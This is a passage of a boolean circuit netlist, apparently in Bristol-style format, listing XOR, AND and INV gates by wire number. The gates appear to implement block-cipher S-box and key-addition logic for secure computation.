XOR +2 1 33367 4736 4719 XOR +2 1 4719 4682 4764 XOR +2 1 4771 4763 4762 AND +2 1 4762 4732 4722 XOR +2 1 4722 4724 4761 XOR +2 1 4762 4786 4680 XOR +2 1 4719 4680 4672 XOR +2 1 4709 4672 4679 XOR +2 1 4676 4679 4760 XOR +2 1 4722 4675 4758 XOR +2 1 4672 4673 4756 XOR +2 1 4757 4794 4755 AND +2 1 4764 4793 4754 AND +2 1 4767 33366 4753 AND +2 1 4753 4755 4735 XOR +2 1 4758 4788 4752 AND +2 1 4761 4800 4751 AND +2 1 4771 4790 4750 AND +2 1 4750 4751 4689 XOR +2 1 4759 4791 4749 AND +2 1 4756 4789 4748 AND +2 1 4748 4751 4704 XOR +1 1 4704 4701 INV +2 1 4748 4749 4700 XOR +2 1 4760 4792 4747 AND +2 1 4757 4798 4746 AND +2 1 4764 4795 4745 AND +2 1 4767 4799 4744 AND +2 1 4758 4803 4743 AND +2 1 4743 4747 4720 XOR +2 1 4752 4743 4705 XOR +1 1 4720 4698 INV +2 1 4761 4796 4742 AND +2 1 4750 4742 4707 XOR +2 1 4771 4797 4741 AND +2 1 4698 4741 4697 XOR +2 1 4697 4735 4693 XOR +2 1 4759 4802 4740 AND +2 1 4740 4693 4696 XOR +2 1 4756 4804 4739 AND +2 1 4739 4740 4734 XOR +2 1 4745 4734 4716 XOR +2 1 4746 4716 4717 XOR +2 1 4754 4717 4721 XOR +2 1 4755 4721 4726 XOR +2 1 4707 4734 4703 XOR +2 1 4735 4703 4706 XOR +2 1 4705 4706 4808 XOR +2 1 4698 4703 4702 XOR +2 1 4701 4702 4807 XOR +2 1 4726 4700 4806 XOR +2 1 4716 4693 4692 XOR +2 1 4753 4721 4690 XOR +2 1 4689 4690 34802 XOR +2 1 4760 4801 4738 AND +2 1 4749 4738 4699 XOR +1 1 4699 4695 INV +2 1 4695 4696 4805 XOR +1 1 4807 34800 INV +2 1 33375 33377 4847 XOR +2 1 33379 33381 4848 XOR +2 1 33376 4847 4849 XOR +2 1 33380 4849 4930 XOR +2 1 33379 4849 4927 XOR +2 1 33378 33380 4850 XOR +2 1 33374 33380 4854 XOR +2 1 4854 4849 4929 XOR +2 1 33378 33381 4941 XOR +2 1 4848 4854 4936 XOR +2 1 4847 4941 4933 XOR +2 1 33374 4933 4932 XOR +2 1 33375 33376 4864 XOR +2 1 4864 4936 4934 XOR +2 1 4941 4864 4937 XOR +2 1 33376 33378 4943 XOR +2 1 4848 4943 4928 XOR +2 1 33379 4854 4939 XOR +2 1 33375 4939 4935 XOR +2 1 33377 33376 4824 XOR +2 1 4850 4848 4810 XOR +2 1 4847 4810 4931 XOR +2 1 4850 33379 4809 XOR +2 1 33374 4809 4938 XOR +2 1 33381 33375 4942 XOR +2 1 33381 33376 4940 XOR +2 1 4933 4937 4926 AND +2 1 4926 4850 4853 XOR +2 1 4934 4932 4925 AND +2 1 4938 33374 4924 AND +2 1 4942 4927 4923 AND +2 1 4923 4848 4852 XOR +2 1 4939 4935 4922 AND +2 1 4936 4929 4921 AND +2 1 4941 4930 4920 AND +2 1 4920 4849 4851 XOR +2 1 4853 4851 4857 XOR +2 1 33381 4857 4862 XOR +2 1 4943 4928 4919 AND +2 1 4919 4925 4871 XOR +2 1 4871 4862 4917 XOR +2 1 4919 4920 4823 XOR +2 1 4823 4824 4870 XOR +2 1 4870 4852 4869 XOR +2 1 4922 4869 4916 XOR +2 1 4940 4931 4918 AND +2 1 4918 4921 4872 XOR +2 1 4918 4924 4876 XOR +2 1 4876 4848 4863 XOR +2 1 4871 4863 4914 XOR +2 1 4919 4872 4866 XOR +2 1 4852 4872 4826 XOR +2 1 4826 4851 4915 XOR +2 1 4857 4876 4825 XOR +2 1 33379 4825 4868 XOR +2 1 4922 4866 4822 XOR +2 1 33375 4822 4909 XOR +2 1 4917 4916 4913 AND +2 1 4913 4868 4908 XOR +2 1 4913 4915 4912 XOR +2 1 4914 4912 4911 AND +2 1 4911 4868 4910 XOR +2 1 4911 4923 4817 XOR +2 1 4817 4853 4813 XOR +2 1 33381 4813 4816 XOR +2 1 4911 4862 4814 XOR +2 1 33379 4813 4812 XOR +2 1 4908 4909 4907 AND +2 1 4907 4915 4906 XOR +2 1 4913 4907 4905 XOR +2 1 4907 4866 4821 XOR +2 1 4907 4924 4820 XOR +2 1 4820 4921 4815 XOR +2 1 4815 4816 4898 XOR +2 1 4915 4905 4904 AND +2 1 4904 4912 4902 XOR +2 1 4904 4922 4875 XOR +2 1 4875 4869 4896 XOR +2 1 33375 4875 4858 XOR +2 1 4858 4821 4903 XOR +2 1 4910 4902 4901 AND +2 1 4901 4871 4861 XOR +2 1 4861 4863 4900 XOR +2 1 4901 4925 4819 XOR +2 1 4858 4819 4811 XOR +2 1 4848 4811 4818 XOR +2 1 4815 4818 4899 XOR +2 1 4861 4814 4897 XOR +2 1 4811 4812 4895 XOR +2 1 4896 4933 4894 AND +2 1 4903 4932 4893 AND +2 1 4906 33374 4892 AND +2 1 4892 4894 4874 XOR +2 1 4897 4927 4891 AND +2 1 4900 4939 4890 AND +2 1 4910 4929 4889 AND +2 1 4889 4890 4828 XOR +2 1 4898 4930 4888 AND +2 1 4895 4928 4887 AND +2 1 4887 4890 4843 XOR +1 1 4843 4840 INV +2 1 4887 4888 4839 XOR +2 1 4899 4931 4886 AND +2 1 4896 4937 4885 AND +2 1 4903 4934 4884 AND +2 1 4906 4938 4883 AND +2 1 4897 4942 4882 AND +2 1 4882 4886 4859 XOR +2 1 4891 4882 4844 XOR +1 1 4859 4837 INV +2 1 4900 4935 4881 AND +2 1 4889 4881 4846 XOR +2 1 4910 4936 4880 AND +2 1 4837 4880 4836 XOR +2 1 4836 4874 4832 XOR +2 1 4898 4941 4879 AND +2 1 4879 4832 4835 XOR +2 1 4895 4943 4878 AND +2 1 4878 4879 4873 XOR +2 1 4884 4873 4855 XOR +2 1 4885 4855 4856 XOR +2 1 4893 4856 4860 XOR +2 1 4894 4860 4865 XOR +2 1 4846 4873 4842 XOR +2 1 4874 4842 4845 XOR +2 1 4844 4845 4947 XOR +2 1 4837 4842 4841 XOR +2 1 4840 4841 4946 XOR +2 1 4865 4839 4945 XOR +2 1 4855 4832 4831 XOR +2 1 4892 4860 4829 XOR +2 1 4828 4829 34860 XOR +2 1 4899 4940 4877 AND +2 1 4888 4877 4838 XOR +1 1 4838 4834 INV +2 1 4834 4835 4944 XOR +2 1 34811 34816 5009 XOR +2 1 34802 34806 4984 XOR +2 1 34791 34795 4974 XOR +1 1 4974 5092 INV +1 1 5009 5145 INV +2 1 34802 34795 5252 XOR +1 1 34816 5283 INV +2 1 34820 5283 5271 XOR +2 1 34852 34851 5291 XOR +2 1 17 19 13434 XOR +2 1 21 23 13435 XOR +2 1 18 13434 13436 XOR +2 1 22 13436 13518 XOR +2 1 21 13436 13515 XOR +2 1 20 22 13437 XOR +2 1 16 22 13441 XOR +2 1 13441 13436 13517 XOR +2 1 20 23 13529 XOR +2 1 13435 13441 13524 XOR +2 1 13434 13529 13521 XOR +2 1 16 13521 13520 XOR +2 1 17 18 13452 XOR +2 1 13452 13524 13522 XOR +2 1 13529 13452 13525 XOR +2 1 18 20 13531 XOR +2 1 13435 13531 13516 XOR +2 1 21 13441 13527 XOR +2 1 17 13527 13523 XOR +2 1 19 18 13411 XOR +2 1 13437 13435 13397 XOR +2 1 13434 13397 13519 XOR +2 1 13437 21 13396 XOR +2 1 16 13396 13526 XOR +2 1 23 17 13530 XOR +2 1 23 18 13528 XOR +2 1 13521 13525 13514 AND +2 1 13514 13437 13440 XOR +2 1 13522 13520 13513 AND +2 1 13526 16 13512 AND +2 1 13530 13515 13511 AND +2 1 13511 13435 13439 XOR +2 1 13527 13523 13510 AND +2 1 13524 13517 13509 AND +2 1 13529 13518 13508 AND +2 1 13508 13436 13438 XOR +2 1 13440 13438 13444 XOR +2 1 23 13444 13450 XOR +2 1 13531 13516 13507 AND +2 1 13507 13513 13459 XOR +2 1 13459 13450 13505 XOR +2 1 13507 13508 13410 XOR +2 1 13410 13411 13458 XOR +2 1 13458 13439 13457 XOR +2 1 13510 13457 13504 XOR +2 1 13528 13519 13506 AND +2 1 13506 13509 13460 XOR +2 1 13506 13512 13464 XOR +2 1 13464 13435 13451 XOR +2 1 13459 13451 13502 XOR +2 1 13507 13460 13454 XOR +2 1 13439 13460 13413 XOR +2 1 13413 13438 13503 XOR +2 1 13444 13464 13412 XOR +2 1 21 13412 13456 XOR +2 1 13510 13454 13409 XOR +2 1 17 13409 13497 XOR +2 1 13505 13504 13501 AND +2 1 13501 13456 13496 XOR +2 1 13501 13503 13500 XOR +2 1 13502 13500 13499 AND +2 1 13499 13456 13498 XOR +2 1 13499 13511 13404 XOR +2 1 13404 13440 13400 XOR +2 1 23 13400 13403 XOR +2 1 13499 13450 13401 XOR +2 1 21 13400 13399 XOR +2 1 13496 13497 13495 AND +2 1 13495 13503 13494 XOR +2 1 13501 13495 13493 XOR +2 1 13495 13454 13408 XOR +2 1 13495 13512 13407 XOR +2 1 13407 13509 13402 XOR +2 1 13402 13403 13486 XOR +2 1 13503 13493 13492 AND +2 1 13492 13500 13490 XOR +2 1 13492 13510 13463 XOR +2 1 13463 13457 13484 XOR +2 1 17 13463 13445 XOR +2 1 13445 13408 13491 XOR +2 1 13498 13490 13489 AND +2 1 13489 13459 13449 XOR +2 1 13449 13451 13488 XOR +2 1 13489 13513 13406 XOR +2 1 13445 13406 13398 XOR +2 1 13435 13398 13405 XOR +2 1 13402 13405 13487 XOR +2 1 13449 13401 13485 XOR +2 1 13398 13399 13483 XOR +2 1 13484 13521 13482 AND +2 1 13491 13520 13481 AND +2 1 13494 16 13480 AND +2 1 13480 13482 13462 XOR +2 1 13485 13515 13479 AND +2 1 13488 13527 13478 AND +2 1 13478 13479 13447 XOR +2 1 13498 13517 13477 AND +2 1 13477 13478 13415 XOR +2 1 13486 13518 13476 AND +2 1 13483 13516 13475 AND +2 1 13475 13447 13455 XOR +2 1 13475 13478 13430 XOR +1 1 13430 13427 INV +2 1 13475 13476 13426 XOR +2 1 13476 13455 13414 XOR +2 1 13487 13519 13474 AND +2 1 13484 13525 13473 AND +2 1 13491 13522 13472 AND +2 1 13494 13526 13471 AND +2 1 13471 13455 13420 XOR +1 1 13420 13417 INV +2 1 13485 13530 13470 AND +2 1 13470 13474 13446 XOR +2 1 13479 13470 13431 XOR +1 1 13446 13424 INV +2 1 13488 13523 13469 AND +2 1 13477 13469 13433 XOR +2 1 13498 13524 13468 AND +2 1 13424 13468 13423 XOR +2 1 13423 13462 13419 XOR +2 1 13486 13529 13467 AND +2 1 13467 13419 13422 XOR +2 1 13483 13531 13466 AND +2 1 13466 13467 13461 XOR +2 1 13472 13461 13442 XOR +2 1 13473 13442 13443 XOR +2 1 13481 13443 13448 XOR +2 1 13482 13448 13453 XOR +2 1 13447 13453 36499 XOR +2 1 36499 124 387 XOR +2 1 92 387 419 XOR +2 1 60 419 451 XOR +2 1 28 451 483 XOR +2 1 13433 13461 13429 XOR +2 1 13462 13429 13432 XOR +2 1 13431 13432 13535 XOR +2 1 13424 13429 13428 XOR +2 1 13427 13428 13534 XOR +2 1 13453 13426 13533 XOR +2 1 13442 13419 13418 XOR +2 1 13417 13418 36497 XOR +2 1 36497 122 389 XOR +2 1 90 389 421 XOR +2 1 58 421 453 XOR +2 1 26 453 485 XOR +2 1 13480 13448 13416 XOR +2 1 13415 13416 36498 XOR +2 1 36498 123 388 XOR +2 1 91 388 420 XOR +2 1 59 420 452 XOR +2 1 27 452 484 XOR +2 1 13443 13414 36502 XOR +2 1 36502 127 384 XOR +2 1 95 384 416 XOR +2 1 63 416 448 XOR +2 1 31 448 480 XOR +2 1 13487 13528 13465 AND +2 1 13476 13465 13425 XOR +1 1 13425 13421 INV +2 1 13421 13422 13532 XOR +1 1 13535 36495 INV +2 1 36495 120 1536 XOR +1 1 1536 391 INV +2 1 88 1536 1537 XOR +1 1 1537 423 INV +2 1 56 1537 1538 XOR +1 1 1538 455 INV +2 1 24 1538 1539 XOR +1 1 1539 487 INV +1 1 13534 36496 INV +2 1 36496 121 390 XOR +2 1 89 390 422 XOR +2 1 57 422 454 XOR +2 1 25 454 486 XOR +1 1 13533 36501 INV +2 1 36501 126 385 XOR +2 1 94 385 417 XOR +2 1 62 417 449 XOR +2 1 30 449 481 XOR +1 1 13532 36500 INV +2 1 36500 125 386 XOR +2 1 93 386 418 XOR +2 1 61 418 450 XOR +2 1 29 450 482 XOR +2 1 33335 33337 15385 XOR +2 1 33339 33341 15386 XOR +2 1 33336 15385 15387 XOR +2 1 33340 15387 15468 XOR +2 1 33339 15387 15465 XOR +2 1 33338 33340 15388 XOR +2 1 33334 33340 15392 XOR +2 1 15392 15387 15467 XOR +2 1 33338 33341 15479 XOR +2 1 15386 15392 15474 XOR +2 1 15385 15479 15471 XOR +2 1 33334 15471 15470 XOR +2 1 33335 33336 15402 XOR +2 1 15402 15474 15472 XOR +2 1 15479 15402 15475 XOR +2 1 33336 33338 15481 XOR +2 1 15386 15481 15466 XOR +2 1 33339 15392 15477 XOR +2 1 33335 15477 15473 XOR +2 1 33337 33336 15362 XOR +2 1 15388 15386 15348 XOR +2 1 15385 15348 15469 XOR +2 1 15388 33339 15347 XOR +2 1 33334 15347 15476 XOR +2 1 33341 33335 15480 XOR +2 1 33341 33336 15478 XOR +2 1 15471 15475 15464 AND +2 1 15464 15388 15391 XOR +2 1 15472 15470 15463 AND +2 1 15476 33334 15462 AND +2 1 15480 15465 15461 AND +2 1 15461 15386 15390 XOR +2 1 15477 15473 15460 AND +2 1 15474 15467 15459 AND +2 1 15479 15468 15458 AND +2 1 15458 15387 15389 XOR +2 1 15391 15389 15395 XOR +2 1 33341 15395 15400 XOR +2 1 15481 15466 15457 AND +2 1 15457 15463 15409 XOR +2 1 15409 15400 15455 XOR +2 1 15457 15458 15361 XOR +2 1 15361 15362 15408 XOR +2 1 15408 15390 15407 XOR +2 1 15460 15407 15454 XOR +2 1 15478 15469 15456 AND +2 1 15456 15459 15410 XOR +2 1 15456 15462 15414 XOR +2 1 15414 15386 15401 XOR +2 1 15409 15401 15452 XOR +2 1 15457 15410 15404 XOR +2 1 15390 15410 15364 XOR +2 1 15364 15389 15453 XOR +2 1 15395 15414 15363 XOR +2 1 33339 15363 15406 XOR +2 1 15460 15404 15360 XOR +2 1 33335 15360 15447 XOR +2 1 15455 15454 15451 AND +2 1 15451 15406 15446 XOR +2 1 15451 15453 15450 XOR +2 1 15452 15450 15449 AND +2 1 15449 15406 15448 XOR +2 1 15449 15461 15355 XOR +2 1 15355 15391 15351 XOR +2 1 33341 15351 15354 XOR +2 1 15449 15400 15352 XOR +2 1 33339 15351 15350 XOR +2 1 15446 15447 15445 AND +2 1 15445 15453 15444 XOR +2 1 15451 15445 15443 XOR +2 1 15445 15404 15359 XOR +2 1 15445 15462 15358 XOR +2 1 15358 15459 15353 XOR +2 1 15353 15354 15436 XOR +2 1 15453 15443 15442 AND +2 1 15442 15450 15440 XOR +2 1 15442 15460 15413 XOR +2 1 15413 15407 15434 XOR +2 1 33335 15413 15396 XOR +2 1 15396 15359 15441 XOR +2 1 15448 15440 15439 AND +2 1 15439 15409 15399 XOR +2 1 15399 15401 15438 XOR +2 1 15439 15463 15357 XOR +2 1 15396 15357 15349 XOR +2 1 15386 15349 15356 XOR +2 1 15353 15356 15437 XOR +2 1 15399 15352 15435 XOR +2 1 15349 15350 15433 XOR +2 1 15434 15471 15432 AND +2 1 15441 15470 15431 AND +2 1 15444 33334 15430 AND +2 1 15430 15432 15412 XOR +2 1 15435 15465 15429 AND +2 1 15438 15477 15428 AND +2 1 15448 15467 15427 AND +2 1 15427 15428 15366 XOR +2 1 15436 15468 15426 AND +2 1 15433 15466 15425 AND +2 1 15425 15428 15381 XOR +1 1 15381 15378 INV +2 1 15425 15426 15377 XOR +2 1 15437 15469 15424 AND +2 1 15434 15475 15423 AND +2 1 15441 15472 15422 AND +2 1 15444 15476 15421 AND +2 1 15435 15480 15420 AND +2 1 15420 15424 15397 XOR +2 1 15429 15420 15382 XOR +1 1 15397 15375 INV +2 1 15438 15473 15419 AND +2 1 15427 15419 15384 XOR +2 1 15448 15474 15418 AND +2 1 15375 15418 15374 XOR +2 1 15374 15412 15370 XOR +2 1 15436 15479 15417 AND +2 1 15417 15370 15373 XOR +2 1 15433 15481 15416 AND +2 1 15416 15417 15411 XOR +2 1 15422 15411 15393 XOR +2 1 15423 15393 15394 XOR +2 1 15431 15394 15398 XOR +2 1 15432 15398 15403 XOR +2 1 15384 15411 15380 XOR +2 1 15412 15380 15383 XOR +2 1 15382 15383 15485 XOR +2 1 15375 15380 15379 XOR +2 1 15378 15379 15484 XOR +2 1 15403 15377 15483 XOR +2 1 15393 15370 15369 XOR +2 1 15430 15398 15367 XOR +2 1 15366 15367 34856 XOR +2 1 34852 34856 5025 XOR +2 1 15437 15478 15415 AND +2 1 15426 15415 15376 XOR +1 1 15376 15372 INV +2 1 15372 15373 15482 XOR +2 1 33303 33305 15524 XOR +2 1 33307 33309 15525 XOR +2 1 33304 15524 15526 XOR +2 1 33308 15526 15607 XOR +2 1 33307 15526 15604 XOR +2 1 33306 33308 15527 XOR +2 1 33302 33308 15531 XOR +2 1 15531 15526 15606 XOR +2 1 33306 33309 15618 XOR +2 1 15525 15531 15613 XOR +2 1 15524 15618 15610 XOR +2 1 33302 15610 15609 XOR +2 1 33303 33304 15541 XOR +2 1 15541 15613 15611 XOR +2 1 15618 15541 15614 XOR +2 1 33304 33306 15620 XOR +2 1 15525 15620 15605 XOR +2 1 33307 15531 15616 XOR +2 1 33303 15616 15612 XOR +2 1 33305 33304 15501 XOR +2 1 15527 15525 15487 XOR +2 1 15524 15487 15608 XOR +2 1 15527 33307 15486 XOR +2 1 33302 15486 15615 XOR +2 1 33309 33303 15619 XOR +2 1 33309 33304 15617 XOR +2 1 15610 15614 15603 AND +2 1 15603 15527 15530 XOR +2 1 15611 15609 15602 AND +2 1 15615 33302 15601 AND +2 1 15619 15604 15600 AND +2 1 15600 15525 15529 XOR +2 1 15616 15612 15599 AND +2 1 15613 15606 15598 AND +2 1 15618 15607 15597 AND +2 1 15597 15526 15528 XOR +2 1 15530 15528 15534 XOR +2 1 33309 15534 15539 XOR +2 1 15620 15605 15596 AND +2 1 15596 15602 15548 XOR +2 1 15548 15539 15594 XOR +2 1 15596 15597 15500 XOR +2 1 15500 15501 15547 XOR +2 1 15547 15529 15546 XOR +2 1 15599 15546 15593 XOR +2 1 15617 15608 15595 AND +2 1 15595 15598 15549 XOR +2 1 15595 15601 15553 XOR +2 1 15553 15525 15540 XOR +2 1 15548 15540 15591 XOR +2 1 15596 15549 15543 XOR +2 1 15529 15549 15503 XOR +2 1 15503 15528 15592 XOR +2 1 15534 15553 15502 XOR +2 1 33307 15502 15545 XOR +2 1 15599 15543 15499 XOR +2 1 33303 15499 15586 XOR +2 1 15594 15593 15590 AND +2 1 15590 15545 15585 XOR +2 1 15590 15592 15589 XOR +2 1 15591 15589 15588 AND +2 1 15588 15545 15587 XOR +2 1 15588 15600 15494 XOR +2 1 15494 15530 15490 XOR +2 1 33309 15490 15493 XOR +2 1 15588 15539 15491 XOR +2 1 33307 15490 15489 XOR +2 1 15585 15586 15584 AND +2 1 15584 15592 15583 XOR +2 1 15590 15584 15582 XOR +2 1 15584 15543 15498 XOR +2 1 15584 15601 15497 XOR +2 1 15497 15598 15492 XOR +2 1 15492 15493 15575 XOR +2 1 15592 15582 15581 AND +2 1 15581 15589 15579 XOR +2 1 15581 15599 15552 XOR +2 1 15552 15546 15573 XOR +2 1 33303 15552 15535 XOR +2 1 15535 15498 15580 XOR +2 1 15587 15579 15578 AND +2 1 15578 15548 15538 XOR +2 1 15538 15540 15577 XOR +2 1 15578 15602 15496 XOR +2 1 15535 15496 15488 XOR +2 1 15525 15488 15495 XOR +2 1 15492 15495 15576 XOR +2 1 15538 15491 15574 XOR +2 1 15488 15489 15572 XOR +2 1 15573 15610 15571 AND +2 1 15580 15609 15570 AND +2 1 15583 33302 15569 AND +2 1 15569 15571 15551 XOR +2 1 15574 15604 15568 AND +2 1 15577 15616 15567 AND +2 1 15587 15606 15566 AND +2 1 15566 15567 15505 XOR +2 1 15575 15607 15565 AND +2 1 15572 15605 15564 AND +2 1 15564 15567 15520 XOR +1 1 15520 15517 INV +2 1 15564 15565 15516 XOR +2 1 15576 15608 15563 AND +2 1 15573 15614 15562 AND +2 1 15580 15611 15561 AND +2 1 15583 15615 15560 AND +2 1 15574 15619 15559 AND +2 1 15559 15563 15536 XOR +2 1 15568 15559 15521 XOR +1 1 15536 15514 INV +2 1 15577 15612 15558 AND +2 1 15566 15558 15523 XOR +2 1 15587 15613 15557 AND +2 1 15514 15557 15513 XOR +2 1 15513 15551 15509 XOR +2 1 15575 15618 15556 AND +2 1 15556 15509 15512 XOR +2 1 15572 15620 15555 AND +2 1 15555 15556 15550 XOR +2 1 15561 15550 15532 XOR +2 1 15562 15532 15533 XOR +2 1 15570 15533 15537 XOR +2 1 15571 15537 15542 XOR +2 1 15523 15550 15519 XOR +2 1 15551 15519 15522 XOR +2 1 15521 15522 15624 XOR +2 1 15514 15519 15518 XOR +2 1 15517 15518 15623 XOR +2 1 15542 15516 15622 XOR +2 1 15532 15509 15508 XOR +2 1 15569 15537 15506 XOR +2 1 15505 15506 34839 XOR +2 1 34839 34843 5003 XOR +2 1 15576 15617 15554 AND +2 1 15565 15554 15515 XOR +1 1 15515 15511 INV +2 1 15511 15512 15621 XOR +2 1 9 11 16219 XOR +2 1 13 15 16220 XOR +2 1 10 16219 16221 XOR +2 1 14 16221 16302 XOR +2 1 13 16221 16299 XOR +2 1 12 14 16222 XOR +2 1 8 14 16226 XOR +2 1 16226 16221 16301 XOR +2 1 12 15 16313 XOR +2 1 16220 16226 16308 XOR +2 1 16219 16313 16305 XOR +2 1 8 16305 16304 XOR +2 1 9 10 16236 XOR +2 1 16236 16308 16306 XOR +2 1 16313 16236 16309 XOR +2 1 10 12 16315 XOR +2 1 16220 16315 16300 XOR +2 1 13 16226 16311 XOR +2 1 9 16311 16307 XOR +2 1 11 10 16196 XOR +2 1 16222 16220 16182 XOR +2 1 16219 16182 16303 XOR +2 1 16222 13 16181 XOR +2 1 8 16181 16310 XOR +2 1 15 9 16314 XOR +2 1 15 10 16312 XOR +2 1 16305 16309 16298 AND +2 1 16298 16222 16225 XOR +2 1 16306 16304 16297 AND +2 1 16310 8 16296 AND +2 1 16314 16299 16295 AND +2 1 16295 16220 16224 XOR +2 1 16311 16307 16294 AND +2 1 16308 16301 16293 AND +2 1 16313 16302 16292 AND +2 1 16292 16221 16223 XOR +2 1 16225 16223 16229 XOR +2 1 15 16229 16234 XOR +2 1 16315 16300 16291 AND +2 1 16291 16297 16243 XOR +2 1 16243 16234 16289 XOR +2 1 16291 16292 16195 XOR +2 1 16195 16196 16242 XOR +2 1 16242 16224 16241 XOR +2 1 16294 16241 16288 XOR +2 1 16312 16303 16290 AND +2 1 16290 16293 16244 XOR +2 1 16290 16296 16248 XOR +2 1 16248 16220 16235 XOR +2 1 16243 16235 16286 XOR +2 1 16291 16244 16238 XOR +2 1 16224 16244 16198 XOR +2 1 16198 16223 16287 XOR +2 1 16229 16248 16197 XOR +2 1 13 16197 16240 XOR +2 1 16294 16238 16194 XOR +2 1 9 16194 16281 XOR +2 1 16289 16288 16285 AND +2 1 16285 16240 16280 XOR +2 1 16285 16287 16284 XOR +2 1 16286 16284 16283 AND +2 1 16283 16240 16282 XOR +2 1 16283 16295 16189 XOR +2 1 16189 16225 16185 XOR +2 1 15 16185 16188 XOR +2 1 16283 16234 16186 XOR +2 1 13 16185 16184 XOR +2 1 16280 16281 16279 AND +2 1 16279 16287 16278 XOR +2 1 16285 16279 16277 XOR +2 1 16279 16238 16193 XOR +2 1 16279 16296 16192 XOR +2 1 16192 16293 16187 XOR +2 1 16187 16188 16270 XOR +2 1 16287 16277 16276 AND +2 1 16276 16284 16274 XOR +2 1 16276 16294 16247 XOR +2 1 16247 16241 16268 XOR +2 1 9 16247 16230 XOR +2 1 16230 16193 16275 XOR +2 1 16282 16274 16273 AND +2 1 16273 16243 16233 XOR +2 1 16233 16235 16272 XOR +2 1 16273 16297 16191 XOR +2 1 16230 16191 16183 XOR +2 1 16220 16183 16190 XOR +2 1 16187 16190 16271 XOR +2 1 16233 16186 16269 XOR +2 1 16183 16184 16267 XOR +2 1 16268 16305 16266 AND +2 1 16275 16304 16265 AND +2 1 16278 8 16264 AND +2 1 16264 16266 16246 XOR +2 1 16269 16299 16263 AND +2 1 16272 16311 16262 AND +2 1 16282 16301 16261 AND +2 1 16261 16262 16200 XOR +2 1 16270 16302 16260 AND +2 1 16267 16300 16259 AND +2 1 16259 16262 16215 XOR +1 1 16215 16212 INV +2 1 16259 16260 16211 XOR +2 1 16271 16303 16258 AND +2 1 16268 16309 16257 AND +2 1 16275 16306 16256 AND +2 1 16278 16310 16255 AND +2 1 16269 16314 16254 AND +2 1 16254 16258 16231 XOR +2 1 16263 16254 16216 XOR +1 1 16231 16209 INV +2 1 16272 16307 16253 AND +2 1 16261 16253 16218 XOR +2 1 16282 16308 16252 AND +2 1 16209 16252 16208 XOR +2 1 16208 16246 16204 XOR +2 1 16270 16313 16251 AND +2 1 16251 16204 16207 XOR +2 1 16267 16315 16250 AND +2 1 16250 16251 16245 XOR +2 1 16256 16245 16227 XOR +2 1 16257 16227 16228 XOR +2 1 16265 16228 16232 XOR +2 1 16266 16232 16237 XOR +2 1 16218 16245 16214 XOR +2 1 16246 16214 16217 XOR +2 1 16216 16217 16319 XOR +2 1 16209 16214 16213 XOR +2 1 16212 16213 16318 XOR +2 1 16237 16211 16317 XOR +2 1 16227 16204 16203 XOR +2 1 16264 16232 16201 XOR +2 1 16200 16201 36490 XOR +2 1 36490 115 396 XOR +2 1 83 396 428 XOR +2 1 51 428 460 XOR +2 1 19 460 492 XOR +2 1 16271 16312 16249 AND +2 1 16260 16249 16210 XOR +1 1 16210 16206 INV +2 1 16206 16207 16316 XOR +1 1 16319 36487 INV +2 1 36487 112 399 XOR +2 1 80 399 431 XOR +2 1 48 431 463 XOR +2 1 16 463 495 XOR +1 1 16318 36488 INV +2 1 36488 113 398 XOR +2 1 81 398 430 XOR +2 1 49 430 462 XOR +2 1 17 462 494 XOR +2 1 494 492 13294 XOR +1 1 16317 36493 INV +2 1 36493 118 393 XOR +2 1 86 393 425 XOR +2 1 54 425 457 XOR +2 1 22 457 489 XOR +2 1 495 489 13301 XOR +1 1 16316 36492 INV +2 1 36492 117 394 XOR +2 1 85 394 426 XOR +2 1 53 426 458 XOR +2 1 21 458 490 XOR +2 1 490 13301 13387 XOR +2 1 494 13387 13383 XOR +2 1 13387 13383 13370 AND +2 1 33311 33313 21084 XOR +2 1 33315 33317 21085 XOR +2 1 33312 21084 21086 XOR +2 1 33316 21086 21167 XOR +2 1 33315 21086 21164 XOR +2 1 33314 33316 21087 XOR +2 1 33310 33316 21091 XOR +2 1 21091 21086 21166 XOR +2 1 33314 33317 21178 XOR +2 1 21085 21091 21173 XOR +2 1 21084 21178 21170 XOR +2 1 33310 21170 21169 XOR +2 1 33311 33312 21101 XOR +2 1 21101 21173 21171 XOR +2 1 21178 21101 21174 XOR +2 1 33312 33314 21180 XOR +2 1 21085 21180 21165 XOR +2 1 33315 21091 21176 XOR +2 1 33311 21176 21172 XOR +2 1 33313 33312 21061 XOR +2 1 21087 21085 21047 XOR +2 1 21084 21047 21168 XOR +2 1 21087 33315 21046 XOR +2 1 33310 21046 21175 XOR +2 1 33317 33311 21179 XOR +2 1 33317 33312 21177 XOR +2 1 21170 21174 21163 AND +2 1 21163 21087 21090 XOR +2 1 21171 21169 21162 AND +2 1 21175 33310 21161 AND +2 1 21179 21164 21160 AND +2 1 21160 21085 21089 XOR +2 1 21176 21172 21159 AND +2 1 21173 21166 21158 AND +2 1 21178 21167 21157 AND +2 1 21157 21086 21088 XOR +2 1 21090 21088 21094 XOR +2 1 33317 21094 21099 XOR +2 1 21180 21165 21156 AND +2 1 21156 21162 21108 XOR +2 1 21108 21099 21154 XOR +2 1 21156 21157 21060 XOR +2 1 21060 21061 21107 XOR +2 1 21107 21089 21106 XOR +2 1 21159 21106 21153 XOR +2 1 21177 21168 21155 AND +2 1 21155 21158 21109 XOR +2 1 21155 21161 21113 XOR +2 1 21113 21085 21100 XOR +2 1 21108 21100 21151 XOR +2 1 21156 21109 21103 XOR +2 1 21089 21109 21063 XOR +2 1 21063 21088 21152 XOR +2 1 21094 21113 21062 XOR +2 1 33315 21062 21105 XOR +2 1 21159 21103 21059 XOR +2 1 33311 21059 21146 XOR +2 1 21154 21153 21150 AND +2 1 21150 21105 21145 XOR +2 1 21150 21152 21149 XOR +2 1 21151 21149 21148 AND +2 1 21148 21105 21147 XOR +2 1 21148 21160 21054 XOR +2 1 21054 21090 21050 XOR +2 1 33317 21050 21053 XOR +2 1 21148 21099 21051 XOR +2 1 33315 21050 21049 XOR +2 1 21145 21146 21144 AND +2 1 21144 21152 21143 XOR +2 1 21150 21144 21142 XOR +2 1 21144 21103 21058 XOR +2 1 21144 21161 21057 XOR +2 1 21057 21158 21052 XOR +2 1 21052 21053 21135 XOR +2 1 21152 21142 21141 AND +2 1 21141 21149 21139 XOR +2 1 21141 21159 21112 XOR +2 1 21112 21106 21133 XOR +2 1 33311 21112 21095 XOR +2 1 21095 21058 21140 XOR +2 1 21147 21139 21138 AND +2 1 21138 21108 21098 XOR +2 1 21098 21100 21137 XOR +2 1 21138 21162 21056 XOR +2 1 21095 21056 21048 XOR +2 1 21085 21048 21055 XOR +2 1 21052 21055 21136 XOR +2 1 21098 21051 